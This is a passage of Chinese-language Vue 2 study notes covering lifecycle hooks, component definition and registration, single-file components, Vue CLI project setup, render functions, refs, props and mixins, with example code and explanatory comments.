        <!-- 上面css属性和值重名,可改为下面的对象简写形式 -->
        <h2 :style="{opacity}">欢迎学习Vue</h2>
        <!-- {{change()}} 不能这样写,因为走到方法时,方法中修改了data内容,又重新解析模板,又走了一次方法,又改了data内容,重新解析模板,走方法...-->
    </div>
    <script type="text/javascript">
        const vm = new Vue({
            el:"#root",
            data:{
                opacity:1
            },
            methods:{
                /* change(){
                    console.log("开启了一个定时器")
                    setInterval(()=>{
                        this.opacity-=0.01
                        if(this.opacity <=0 ) this.opacity=1
                    },16)
                } */
            },
            mounted(){// Vue完成模板的解析并把真实的DOM元素放入页面后(挂载完毕)调用mounted
                console.log("开启了一个定时器")
                    setInterval(()=>{
                        this.opacity-=0.01
                        if(this.opacity <=0 ) this.opacity=1
                    },16)
            }
        })
        //通过外包的定时器实现(不推荐)
        /* setInterval(()=>{
            vm.opacity-=0.01
            if(vm.opacity <=0 ) vm.opacity=1
        },16) */
    </script>
</body>
</html>

Vue生命周期

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>分析生命周期</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <div id="root">
        <h2>当前n的值为:{{n}}</h2>
        <button @click="add">点我n+1</button>
        <button @click="bye">点我销毁vm</button>
    </div>
    <script type="text/javascript">
        const vm = new Vue({
            el:"#root",
            //也可使用下面这种template,会直接替换掉容器中的内容,并且如果这样写原容器的div的属性id='root'也丢失了
            //template:`<div><h2>当前n的值为:{{n}}</h2><button @click="add">点我n+1</button><div>`,//要包一个div根元素,且不能使用<template>作为根元素使用。如果不使用``需要在一行中写完,使用``可换行
            data:{
                n:0,
            },
            methods:{
                add(){
                    this.n++
                },
                bye(){
                    console.log('bye')
                    this.$destroy()
                }
            },
            beforeCreate() {
                console.log('beforeCreate')
                console.log(this)//这一步打印出的this中没有_data,也没n,未进行数据代理等
                //debugger;
            },
            created() {
                console.log('created')
                console.log(this)//这一步打印出的this中有_data,有n,进行数据代理等
                //debugger;
            },
            beforeMount() {//这里所有对dom的操作最终都是不奏效的
                console.log('beforeMount')
                console.log(this)//这一步页面上的数据为进行渲染{{n}}
                //debugger;
            },
            mounted() {
                console.log('mounted')
                console.log(this)//这一步页面上的数据为进行渲染{{n}}
                //debugger;
                //这里对dom操作有效,但尽可能避免这么做
            },
            beforeUpdate() {
                console.log('beforeUpdate')
                console.log(this.n) //数据是新的,但页面是旧的,页面还未经过渲染
                //debugger;
            },
            updated() {
                console.log('updated')
                console.log(this.n) //数据是新的,但页面也是新的,数据和页面保持同步
                //debugger;
            },
            beforeDestroy() {
                console.log("beforeDestroy")
                console.log(this.n)
                this.n=99 //不会起作用了,这里所有对数据的修改都不会更新了
            },
            destroyed() {
                console.log("destroyed")
                console.log(this.n)
                this.n=99 //不会起作用了,这里所有对数据的修改都不会更新了
            },
        })
    </script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>生命周期总结</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 
        常用的生命周期钩子:
            1.mounted:发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
            2.beforeDestroy:清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。
        关于销毁Vue实例
            1.销毁后借助Vue开发者工具看不到任何信息。
            2.销毁后自定义事件会失效,但原生DOM事件依然有效。
            3.一般不会再beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了。
     -->
    <div id="root">
        <h2 :style="{opacity:opacity}">欢迎学习Vue</h2>
        <button @click="opacity=1">透明度设置为1</button>
        <button @click="stop">停下</button>
    </div>
    <script type="text/javascript">
        let id;
        const vm = new Vue({
            el:"#root",
            data:{
                opacity:1
            },
            methods:{
                stop(){
                    //clearInterval(id)
                    //clearInterval(this.timer)  //停止后还能通过别的方式修改opacity
                    this.$destroy()
                }
            },
            mounted(){
                /* id=setInterval(()=>{
                        this.opacity-=0.01
                        if(this.opacity <=0 ) this.opacity=1
                    },16) */
                this.timer=setInterval(()=>{
                    this.opacity-=0.01
                    console.log('定时器在执行')
                    if(this.opacity <=0 ) this.opacity=1
                },16)
            },
            beforeDestroy() {
                clearInterval(this.timer)  
            },
        })
    </script>
</body>
</html>

组件化编程

实现应用中局部功能代码和资源的集合

 2.1.1.模块
1.理解:向外提供特定功能的js程序,一般就是一个js文件-
2为什么: js文件很多很复杂
3.作用:复用js,简化js的编写,提高js运行效率
2.1.2.组件
1.理解:用来实现局部(特定)功能效果的代码集合(html/css/js/image...)
2为什么“一个界面的功能很复杂e
3.作用:复用编码,简化项目编码,提高运行效率

2.1.3.模块化
当应用中的js 都以模块来编写的,那这个应用就是一个模块化的应用。e
2.1.4.组件化
当应用中的功能都是多组件的方式来编写的,那这个应用就是一个组件化的应用,。

创建/定义组件

非单文件组件、单文件组件:

非单文件组件︰一个文件中包含有n个组件.
单文件组件∶一个文件中只包含有1个组件。

 Vue.extend只是定义组件,component:{}中只是注册组件,在<school></school>中才是new出一个组件对象

  非单文件组件基本使用.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script type="text/javascript" src="../../js/vue.js"></script>
</head>
<body>
    <!-- 
        Vue中使用组件的三大步骤:
            一、定义组件(创建组件)
            二、注册组件
            三、使用组件(写组件标签)
        一、如何定义一个组件?
            使用Vue.extend(options)创建,其中options和new Vue(options)时传入的那个options几乎一样,但也有点区别;
            区别如下:
                1.el不要写,为什么?—最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器。
                2.data必须写成函数,为什么?——避免组件被复用时,数据存在引用关系。
            备注:使用template可以配置组件结构。
        二、如何注册组件?
            1。局部注册:靠new Vue的时候传入component选项
            2.全局注册:靠Vueponent('组件名',组件)
        三、编写组件标签:
            <school>/school>        
     -->
    <div id="root">
        <!-- <h2>学校名称:{{schoolName}}</h2>
        <h2>学校地址:{{address}}</h2>
        <hr>
        <h2>学生姓名:{{name}}</h2>
        <h2>学生年龄:{{age}}</h2> -->
        <school></school>
        <!-- 写双标签的<school></school> -->
        <hr/>
        <student></student>
        <hr>
        <h2>{{msg}}</h2>
        <hr/>
        <student></student>
    </div>
    <div id="root2">
        <h2>root2</h2>
        <student></student>
        <hello></hello>
    </div>
    <script type="text/javascript">
        //创建school组件
        const school = Vue.extend({
            template:`
                <div>
                    <h2>学校名称:{{schoolName}}</h2>
                    <h2>学校地址:{{address}}</h2>
                    <button @click="showName()">点我提示学校名</button>
                </div>
            `,
            //el:"#root",//组件定义时,一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器.
            /* data:{//The "data" option should be a function that returns a per-instance value in component definitions.
                schoolName:"尚硅谷",
                address:"北京",
            } */
            data() {//调用data函数时,返回一个新的对象
                return {
                    schoolName:"尚硅谷",
                    address:"北京",
                }
            },
            methods: {
                showName(){
                    alert(this.schoolName)
                }
            },
        })
        //创建student组件
        const student = Vue.extend({
            template:`
                <div>
                    <h2>学生姓名:{{name}}</h2>
                    <h2>学生年龄:{{age}}</h2>
                </div>
            `,
            data() {
                return {
                    name:"张三",
                    age:20
                }
            },
        })
        //创建vm
        /* const vm = new Vue({
            el:"#root",
            data:{
                schoolName:"尚硅谷",
                address:"北京",
                name:"张三",
                age:20
            }
        }) */
        //root1的vm
        const vm = new Vue({
            el:"#root",
            data:{
                msg:"你好"
            },
            components:{  //注册组件
                school:school  ,//key为组件名,value为中转变量
                //student:student,//key和value一致时,可直接写如下
                student
            }
        })
        //创建hello组件
        const hello = Vue.extend({
            template:`
                <div>
                    <h2>你好啊!{{name}}</h2>
                </div>
            `,
            data(){
                return{
                    name:'Tom'
                }
            }
        })
        //root2的vm
        new Vue({
            el:"#root2",
            components:{  //注册组件
                student,
                hello  //这里用到的组件必须是该处代码上面定义好的
            }
        })
        //全局注册hello组件
        Vueponent("hello",hello)
    </script>
</body>
</html>

组件是不可以写el的

组件的几个注意点

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script type="text/javascript" src="../../js/vue.js"></script>
</head>
<body>
    <!-- 
        几个注意点:
            1.关于组件名:
                一个单词组成:
                    第一种写法(首字母小写):school
                    第二种写法(首字母大写):School
                多个单词组成:
                    第一种写法(kebab-case命名):my-school
                    第二种写法(Camelcase命名):MySchool(需要Vue脚手架支持)
                备注:
                    (1).组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行。
                    (2).可以使用name配置项指定组件在开发者工具中呈现的名字。
        2.关于组件标签:
            第一种写法:<school></school>
            第二种写法:<school/>
            备注:不用使用脚手架时,<school/>会导致后续组件不能渲染。
        3.一个简写方式:
            const school = Vue.extend(options)可简写为: const school = options        
     -->
    <div id="root">
        <my-school></my-school>
        <MySchool></MySchool>
    </div>
    <script type="text/javascript">
        const school = /* Vue.extend */({   //甚至可省略 Vue.extend,底层还是判断后调用了Vue.extend
            template:`
                <div>
                    <h2>学校名称:{{schoolName}}</h2>
                    <h2>学校地址:{{address}}</h2>
                    <button @click="showName()">点我提示学校名</button>
                </div>
            `,
            data() {
                return {
                    schoolName:"尚硅谷",
                    address:"北京",
                }
            },
            methods: {
                showName(){
                    alert(this.schoolName)
                }
            },
        })
        const vm = new Vue({
            el:"#root",
            data:{
                msg:"你好"
            },
            components:{ 
                //school:school
                //school
                // 如下,如果组件名以烤肉串的方式命名,需要使用单引号引起来
                'my-school':school,
                // 如果是脚手架环境下的定义的组件,可用使用这种并且推荐使用这种帕斯卡命名法的方式注册组件并使用,但是在html引入的Vue.js这种方式中采用帕斯卡命名法定义并注册组件会报错
                MySchool:school
            }
        })
    </script>
</body>
</html>

template:`` 如果里面有多个标签,就需要最外层套一层div

组件嵌套

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>组件嵌套</title>
    <script type="text/javascript" src="../../js/vue.js"></script>
</head>
<body>
    <div id="root">
        <!-- <app></app> -->
    </div>
    <script type="text/javascript">
        //创建学生组件作为子组件
        const student = Vue.extend({
            template:`
                <div>
                    <h2>学生姓名:{{name}}</h2>
                    <h2>学生年龄:{{age}}</h2>
                    <button @click="showName()">点我提示学校名</button>
                </div>
            `,
            data() {
                return {
                    name:"张三",
                    age:20
                }
            },
            methods: {
                showName(){
                    alert(this.schoolName)
                }
            },
        })
        // 创建学校组件作为父组件
        const school = Vue.extend({
            template:`
                <div>
                    <h2>学校名称:{{schoolName}}</h2>
                    <h2>学校地址:{{address}}</h2>
                    <button @click="showName()">点我提示学校名</button>
                    <student></student>
                </div>
            `,
            data() {
                return {
                    schoolName:"尚硅谷",
                    address:"北京",
                }
            },
            methods: {
                showName(){
                    alert(this.schoolName)
                }
            },
            //在父组件中先注册子组件,但要注意代码的执行顺序问题,需要在这些代码上面定义子组件
            components:{ 
                student
            }
        })
        //定义app组件:
        const app = Vue.extend({
            template:`
            <div>
                <school></school>
            </div>
            `,
            components:{
                school
            }
        })
        //最终的vm实例
        const vm = new Vue({
            template:`
                <app></app>
            `,
            el:"#root",
            data:{
                msg:"你好"
            },
            components:{ 
                //school:school
                app,
            }
        })
    </script>
</body>
</html>

VueComponent组件的构造函数

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>VueComponent</title>
    <script type="text/javascript" src="../../js/vue.js"></script>
</head>
<body>
    <!-- 
        关于VueComponent:
            1.school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的。
            2.我们只需要写<school/>或<school></school>,Vue解析时会帮我们创建school组件的实例对象,即vue帮我们执行的:new VueComponent(options)。
            3.特别注意:每次调用Vue.extend,返回的都是一个全新的VueComponent!!!!
            4.关于this指向:
                (1).组件配置中: data函数、methods中的函数、watch中的函数、computed中的函数它们的 this均是【vueComponent实例对象】。
                (2).new Vue()配置中:data函数、methods中的函数、watch中的函数、computed中的函数它们的this均是【Vue实例对象】。
            5.VueComponent的实例对象,以后简称vc(也可称之为:组件实例对象)。
            Vue的实例对象,以后简称vm。        
     -->
    <div id="root">
        <school></school>
        <hello></hello>
    </div>
    <script type="text/javascript">
        const school = Vue.extend({
            template:`
                <div>
                    <h2>学校名称:{{schoolName}}</h2>
                    <h2>学校地址:{{address}}</h2>
                    <button @click="showName()">点我提示学校名</button>
                </div>
            `,
            //组件配置中: data函数、methods中的函数、watch中的函数、computed中的函数它们的this均是【vueComponent实例对象】。
            data() {
                return {
                    schoolName:"尚硅谷",
                    address:"北京",
                }
            },
            methods: {
                showName(){
                    alert(this.schoolName)
                    console.log("@",this)//组件中的this是VueComponent实例对象
                }
            }
        })
        //定义hello组件
        const hello = Vue.extend({
            template : `
            <h2>{{msg}}</h2>
            `,
            data(){
                return{
                    msg:"你好啊"
                }
            }
        })
        console.log('@',school)// 是一个构造函数
        console.log('#',hello)// 是一个构造函数
        //且每次调用Vue.extend,返回的都是一个全新的VueComponent!!!!,也就是说每次调用Vue.extend都是新创建的一个VueComponent。即上面的school和hello两个VueComponent完全不一样
        const vm = new Vue({
            //new Vue()配置中:data函数、methods中的函数、watch中的函数、computed中的函数它们的this均是【Vue实例对象】。
            el:"#root",
            data:{
                msg:"你好"
            },
            components:{ 
                school:school,
                hello
            }
        })
        //可在f12控制台上输入vm,找到$Children,就能看到它的子组件了,也就是vm在管理着vc
    </script>
</body>
</html>

可f12控制台输出vm和hello这个组件vc,vm实例中的很多东西在vc中也有。但还是有很多区别的:
mv中可用使用el,但vc中不能使用el,vm中的data使用函数时或对象式都可以,但vc中data只能使用函数式。

一个重要的内置关系关于原型对象

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>一个重要的内置关系</title>
    <script type="text/javascript" src="../../js/vue.js"></script>
</head>
<body>
    <!-- 
        1.一个重要的内置关系:VueComponent.prototype._proto_=== Vue.prototype
        2.为什么要有这个关系:让组件实例对象(vc)可以访问到Vue原型上的属性、方法。        
     -->
    <div id="root"> 
        <!-- Vue.extend只是定义组件,component:{}中只是注册组件,在<school></school>中才是new出一个组件对象 -->
    </div>
    <script type="text/javascript">
        const school = Vue.extend({
            template:`
            <div>
                <h2>学校名称:{{schoolName}}</h2>
                <h2>学校地址:{{address}}</h2>
            </div
            `,
            data() {
                return {
                    schoolName:"尚硅谷",
                    address:"北京",
                }
            },
        })
        const vm = new Vue({
            el:"#root",
            data:{
                msg:"你好"
            }
        })
        console.log(school.prototype.__proto__ ===Vue.prototype)// true VueComponent的原型和Vue的原型对象一致
        //实例的隐式原型属性永远执行自己缔造者的原型对象
        //VueComponent的原型对象的原型对象就是Vue的原型对象

        // 以下为原生的原型属性相关的回顾
        function Demo(){
            this.a = 1;
            this.b = 2;
        }
        // 创建一个Demo的实例对象
        const d = new Demo()
        console.log(Demo.prototype) //函数上的显示原型属性
        console.log(d.__proto__) //实例上的隐式原型属性
        //无论是 函数上的显示原型属性 还是 实例上的隐式原型属性 它们都指向了一个对象 即原型对象
        console.log(Demo.prototype===d.__proto__)  //f12控制台输出为true,证明为指向同一个对象
        //程序员通过显示原型属性操作原型对象,追加一个原型属性为99
        Demo.prototype.x = 99
        //在顺着隐式原型对象输出刚刚显示原型对象追加的x属性 
        console.log('@',d.__proto__.x)//f12控制台查看也能输出99,确实都指向一个原型对象
        console.log('#',d)//输出Demo(a:1,b:2) 表示为一个对象,且为Demo类型的
    </script>
</body>
</html>

f12控制台console.dir(Vue)显示Vue上的东西

实例的隐式原型属性永远执行自己缔造者的原型对象

VueComponent的原型对象的原型对象就是Vue的原型对象

 单文件组件.vue和暴露export

 非单文件组件的一个弊病是样式不能跟着组件走

.vue文件为单文件组件

.Vue文件的命名规范,如果是一个单词,可用使用school.vue或School.vue但开发中推荐第二种首字母大写的。
如果是多个单词如my-school.vue也可写成MySchool.vue,在开发中还是推荐使用第二种帕斯卡命名脚手架:vue官方团队打造的.vue文件的类似webpack的编译环境

vsCode默认不识别vue,需要安装一个插件:可选择vetur插件,最好重启一下vsCode。

vue文件中顶头第一行敲<v回车就会生成三件套  

创建School.vue组件

<template>
    <!-- 组建的结构 -->
    <!-- template标签不参与编译,所以里面需要一个总的div包裹 -->
    <div class="demo">
        <h2>学校名称:{{schoolName}}</h2>
        <h2>学校地址:{{address}}</h2>
        <button @click="showName">点我提示学校名</button>
    </div>
</template>
<script>
    // 组件交互相关的代码(数据、方法等等)
    /* export  (1分别暴露)  *//* const school = Vue.extend({
        data() {
            return {
                schoolName:"尚硅谷",
                address:"北京"
            }
        },
        methods: {
            showName(){
                alert(this.schoolName)
            }
        },
    }) */
    //export {school} //2统一暴露
    //export default school //3默认暴露  如果是一个的话一般推荐默认暴露
    export default /* Vue.extend */({//使用默认暴露  Vue.extend也可省略
        name:School,//给组件起个名字,最好根文件名保持一致  之后组测组件就可使用该名字了,如果不写name,则组测时可随便起名
        data() {
            return {
                schoolName:"尚硅谷",
                address:"北京"
            }
        },
        methods: {
            showName(){
                alert(this.schoolName)
            }
        },
    }) 
</script>
<style>
    /* 组件的样式 */
    .demo{
        background-color: orange;
    }
</style>

创建Student.vue组件

<template>
    <div>
        <h2>学生名称:{{name}}</h2>
        <h2>年龄:{{age}}</h2>
    </div>
</template>
<script>
    export default ({
        name:Student,
        data() {
            return {
                name:"张三",
                age:20
            }
        }
    }) 
</script>

创建App.vue组件

<template>
    <div>   
        <!--模板中必须要有一个根元素  -->
        <School></School>  
        <Student/>  
    </div>
</template>
<script>
import School from './School.vue'
import School from './School.vue'
import Student from './Student.vue'
export default {
    name:'App',
    components:{
        School:School,
        Student
    }
}
</script>

创建main.js

/* 这里用来大哥级别的创建Vue实例 */
import App from './App.vue'   //improt这些类型的代码浏览器识别不了,需要放入脚手架中
new Vue({
    el: '#root',//为哪个容器服务的
    template:`<App></App>`,
    components: {
        App
    }
})

创建index.html页面

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>练习一下单文件组件的语法</title>
    <script type="text/javascript" src=""></script>
</head>
<body>
    <div id="root">
        <!-- <App></App> 也可再main.js中的template中写-->
    </div>
    <!-- 需在模板下方引入,先让模板出来再引入 -->
    <script type="text/javascript" src="../js/vue.js"></script>
    <script type="text/javascript" src="./main.js"></script>
</body>
</html>

需要在脚手架中运行

使用Vue脚手架

安装使用 

command line interface  vue cli

Vue版本有1,2,3 脚手架版本也有1,2,3,4,使用的脚手架版本需要高于Vue版本,默认使用4版本的脚手架

官网文档:Vue CLI

打开cmd
第一步(仅第一次执行)︰全局安装@vue/cli。
npm install -g @vue/cli           敲npm命令的时候卡住的话,敲一个回车就好

node尽量不要安装到C盘,即使安装到C盘,需要使用管理员方式运行cmd
第二步:切换到你要创建项目的目录,然后使用命令创建项目
vue create xxxxx

出问题的先看一下下面node的安装,安装好node后再执行上面第一步

【转载】windows下Nodejs zip版下载安装及环境变量配置_nodezip版如何配置_AllTimeLow丶的博客-CSDN博客

创建项目进度条走到头卡住了等待几分钟即可

 $ cd vue_test
 $ npm run serve

第三步:启动项目
npm run serve
1.如出现下载缓慢请配置npm淘宝镜像:npm config set registry https://registry.npm.taobao
2. Vue脚手架隐藏了所有webpack相关的配置,若想查看具体的webpakc配置,请执
行: vue inspect > output.js

两次执行ctrl+c就可停掉项目服务退出

 项目结构

使用VsCode打开项目的根文件,分析脚手架结构:

脚手架的结构:
.gitignore为git的忽略文件
babel.config.js为es6转es5的babel配置文件,默认就是,其他配置参考官网

package.json:包的说明书:里面有包的名、包的版本、
script中包括常用的命令,如刚刚执行npm run serve时,真正执行的为"vue-cli-service serve"
还有build为当项目所有功能都写完了,最终要把整个工程变成浏览器能够认识的东西。
link几乎不用,对整个项目中的写的js或.vue文件进行一次语法检查,判断哪里写的不对或不太好的地方。
package-lock.json:包版本控制,记录包的版本和地址。这样对于一些包,以后无论什么时候下载的都是这个版本。
README.md,可写一些说明,甚至上课时的笔记

vsCode使用ctrl+`打开终端,可在终端中npm run serve

node_modules中引入第三方库,包含Vue。
assets一般放前端的静态资源,png视频等。
components所有程序员写出的组件都往这里放。唯独App.vue不向这里放。
mian.js是整个项目的入口文件,import引入vue, import引入vue,是所有组件的父组件。创建vue实例对象,new Vue({render: h=>h(App),}).$mount('#app'),这个将App组件放入容器中,也可写成new Vue({el:'#app',render: h=>h(App),})
main.js是入口问价是因为脚手架配置好的。main.js未在html页面中引入还能找到这个app容器也是脚手架配置好的。

另外一种Vue项目的创建方式参考:

Vue基础知识_阳光明媚UPUP的博客-CSDN博客

对于index.html

<!DOCTYPE html>
<html lang="">
  <head>
    <meta charset="utf-8">
    <!-- 针对IE浏览器的一个特殊配置,含义是让IE浏览器以最高的渲染级别渲染页面 -->
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <!-- 开启移动端的理想视口 -->
    <meta name="viewport" content="width=device-width,initial-scale=1.0">
    <!-- 配置页签图标 <%= BASE_URL %>为html中引入文件,指的是public所在的路径,html中尽可能不写./,写这个标签即可-->
    <link rel="icon" href="<%= BASE_URL %>favicon.ico">
    <!-- 配置网页标题  <%= htmlWebpackPlugin.options.title %>为webpack中的插件完成的功能,默认找package.json中的name值来作为title -->
    <title><%= htmlWebpackPlugin.options.title %></title>
  </head>
  <body>
    <noscript>
      <!-- 当浏览器不支持js时,noscript中的内容就会被渲染 -->
      <strong>We're sorry but <%= htmlWebpackPlugin.options.title %> doesn't work properly without JavaScript enabled. Please enable it to continue.</strong>
    </noscript>
    <div id="app"></div>
    <!-- built files will be auto injected -->
  </body>
</html>

render函数

main.js

//如下行中,使用es6的模块化语法引入vue
import Vue from 'vue'//默认会找node_modules中vue中的package.json中有个"module": "dist/vue.runtime.esm.js",其实就是iyge残缺版的vue精简版的vue,残缺了模板解析器。用的其实时vue库中的components中的vue.runtime.es.vue
//引入残缺版的vue,其实可用render函数,由于模板解析器占vue的内容的1/3,所以脚手架使用这种精简版的vue
//import Vue from 'vue/dist/vue'//完整版的vue
/* 如上:引入第三方库只写名字 */
import App from './App.vue'
import { component } from 'vue/types/umd'

Vue.config.productionTip = false
/* 
1.vue.js 与vue.runtime.xxx.js的区别:
(1).vue.js是完整版的Vue,包含:核心功能+模板解析器。
(2).vue.runtime.xxx.js是运行版的Vue,只包含:核心功能;没有模板解析器。
2.因为vue.runtime.xxx.js没有模板解析器,所以不能使用template配置项,
  需要使用render函数接收到的createElement函数去指定具体内容。 */
/* new Vue({
  render: h => h(App),
}).$mount('#app') */
new Vue({
  el:"#app",
  render(createElement){//还可接收参数
    console.log("render")
    console.log(typeof createElement)
    createElement("h1",'你好啊')
    //return null;//render需要有返回值
    return createElement;
  },
  render:createElement=>{//可转为箭头函数,因为没用到this
    createElement("h1",'你好啊')
    return createElement;
  },
  render:createElement=>createElement("h1",'你好啊'),//箭头函数还可进一步精简
  render: h => h(App),//如果参数为组件,可用只写以一个参数。
  //render: h => h(App), //如果不使用这种方式,使用下面的这种原始引入的方式会报错,因为本文件中引入的vue为残缺版缺乏模板解析器的vue, 
  /* template:`<h1>你好啊</h1>`,
  components:{
    App
  } */
})

package.json中的devDependencies的"vue-template-compiler": "^2.6.14"专门解析.vue中的<template>标签的,js中的templats:``必须用vue的模板解析器

修改默认配置

main.js改名为peiqi.js就会报错,配置文件其实被脚手架隐藏了,
Vue脚手架隐藏了所有webpack相关的配置,
若想查看具体的 webpakc 配置,请执行:
vue inspect > output.js
然后左侧项目根目录下会生成ouutpiut.js文件,这个文件只是输出一下看一下文件。ctrl+f搜索entry可找到app入口的main.js文件,搜索
vue脚手架项目,不能该名字的有public目录,src目录,favicon.ico,main.js,index.js
如果想要修改配置
vue.config.js 是一个可选的配置文件,如果项目的 (和 package.json 同级的) 根目录中存在这个文件,那么它会被 @vue/cli-service 自动加载。内容呢参考以下网址,需修改vue.confif.js需重启项目:

配置参考 | Vue CLI

语法检查:比如你定义了一个东西,但没有使用,整个项目就起不来,会有语法检查。

常用的语法检查的webpack中的东西eslint  jslint  jshfnt

vue.config.js 

module.exports = {
  pages: {
    index: {
      // page 的入口
      entry: 'src/main.js',
      }
  },
  lintOnSave:false,//关闭语法检查
}

ref属性绑定元素来获取dom

vue.config.js关闭语法检查

module.exports = {
  pages: {
    index: {
      // page 的入口
      entry: 'src/main.js',
      }
  },
  lintOnSave:false,//关闭语法检查
}

main.js

import Vue from 'vue'
import App from "./App.vue"
Vue.config.productionTip=false
new Vue({
  el:"#app",
  render:h=>h(App)
})

App.vue

/* 
ref属性
  1.被用来给元素或子组件注册引用信息(id的替代者)
  2.应用在htm1标签上获取的是真实DOM元素,应用在组件标签上是组件实例对象(vc)
  3.使用方式:
    打标识:<h1 ref="xxx">.....</h1>或<School ref="xxx"></School>
    获取: this.$refs.xxx
 */
<template>
  <div>
    <h2 v-text="msg" id="title"></h2>
    <h2 v-text="msg" ref="title2"></h2>
    <!-- 给哪个标签加ref,vc就帮助搜集ref标签 -->
    <button ref="btn" @click="showDom">点我输出上方的dom元素</button>
    <School ref="vc1"/>
  </div>
</template>
<script>
import School from './components/School.vue'
export default {
  name:"App",
  components:{
    School
  },
  data() {
    return {
      msg:"欢迎学习vue"
    }
  },
  methods:{
    showDom(){
      console.log(document.getElementById("title"))
      console.log(this.$refs.title2 )// 真实dom元素
      console.log(this.$refs.btn )// 真实dom元素
      console.log(this.$refs.vc1) //School组件的实例对象
    }
  }
}
</script>

School.vue

<template>
  <div class="school"> 
    <h2>学校名字{{schoolName}}</h2>
    <h2>学校地址{{address}}</h2>
  </div>
</template>
<script>
export default {
    name:'School',
    data(){
        return{
            schoolName:"尚硅谷",
            address:"北京"
        }
    }
}
</script>
<style>
    .school{
        background-color: green;
    }
</style>

props配置父传子

场景:多个父组件都引入同一个子组件student,且子组件的内容如name和age和sex都是经过父组件动态传递给的。

main.js和关闭语法检查同上。
App.vue父组件

<template>
  <div>
   <Student name="李四" sex="女" age="20+1"/>
   <Student name="王老五" sex="男" :age="21+1"/>
   <!-- 上面age和:age的区别为age="18"传递的是字符串的18,而:age="18"传递的是表达式计算的结果,为数字18 -->
   <!-- 每引用一次就生成一个vc实例 -->
  </div>
</template>
<script>
import Student from './components/Student.vue'
export default {
  name:"App",
  components:{
    Student
  },
}
</script>

Student.vue子组件 

/* 
  配置项props
    功能:让组件接收外部传过来的数据
    (1).传递数据:
      <Demo name="xxx"/>
    (2).接收数据:
      第一种方式(只接收):props: [ 'name']
      第二种方式(限制类型):props:{name:String}
      第三种方式(限制类型、限制必要性、指定默认值):
      props:{
      name:{type:String,1//类型required:true,//必要性default:'老王’//默认值} }
    备注: props是只读的,Vue底层会监测你对props的修改,如果进行了修改,就会发出警告,
      若业务需求确实需要修改,那么请复制props的内容到data中一份,然后去修改data中的数据。
 */
<template>
  <div > 
    <h2>{{msg}}</h2>
    <h2>学生姓名{{name}}</h2>
    <h2>学生性别{{sex}}</h2>
    <h2>学生年龄{{age+1}}</h2>
    <h2>学生年龄2测试{{age2+1}}</h2>
    <button @click="changeAge">尝试修改年龄</button>
    <button @click="changeAge2">尝试修改年龄测试2</button>
    <!-- 接受到的props是不允许修改的,会控制台报提示,但确实可用改掉值 -->
  </div>
</template>
<script> 
export default {
    name:'Student',
    data(){
        return{
            /* name:"张三",
            sex:"男",
            age:20, */
            msg:"我是一个尚硅谷的学生",
            age2:this.age//由于props中的age是优先被读取的。所以我们可不使用changeAge()的方法修改,使用data中的一个变量接收后修改data中的变量,如changeAge2()
        }
    },
    methods:{
      changeAge(){
        this.age=100
      },
      changeAge2(){
        this.age2=100
      }
    },
    //简单接收
    //props:['name',"age",'sex']  

    //对类型做限制,不是这个类型的f12控制台报错
/*     props:{
      name:String,
      age:Number,
      sex:String
    } */

    //最完整的写法
    props:{
      name:{
        type:String,
        required:true,
        //default:"hello" //一般required和default不会同时出现
      },
      age:{
        type:Number,
        default:99  //如果父组件不传递参数,会给个默认值
      },
      sex:{
        type:String,
        required:true    //指定是否必须要传递这个参数 默认false  不传递值会f12控制台报错
      }

    }
}
</script>

mixin属性混入混合

main.js和关闭语法检查同上。
App.vue父组件

<template>
  <div>
   <Student/>
   <hr>
   <School/>
  </div>
</template>
<script>
import Student from './components/Student.vue'
import School from './components/School.vue'
export default {
  name:"App",
  components:{
    Student,
    School
  },
}
</script>

main.js同级目录下创建mixin.js

/* 
    mixin(混入)
        功能:可以把多个组件共用的配置提取成一个混入对象使用方式:
    第一步定义混合,例如:
        {data(){....},methods:{....}
    第二步使用混入,例如;
        (1).全局混入:Vue.mixin(xxx)
        (2).局部混入:mixins: [ 'xxx ' ]
 */
export const hunhe = {
    methods: {
        showName(){
            alert(this.name)
        },
    },
    mounted() {
        console.log("你好啊")
    },
}
export const hunhe2 = {
    data() {
        return {
            x:100,
            y:200
        }
    },
}

School.vue

<template>
  <div > 
    <h2 @click="showName">学校名{{name}}</h2>
    <h2>学校地址{{address}}</h2>
  </div>
</template>
<script> 
import {hunhe} from '../../src/mixin.js'
export default {
    name:'School',
    data(){
        return{
           name:"尚硅谷",
            address:"北京"
        }
    },
    /* methods:{
      showName(){
        alert(this.name)
      }
    }, */
    mixins:[hunhe]
}
</script>

Student.vue

<template>
  <div > 
    <h2 @click="showName">学生姓名{{name}}</h2>
    <h2>学生性别{{sex}}</h2>
  </div>
</template>
<script> 
import {hunhe,hunhe2} from '../../src/mixin.js'
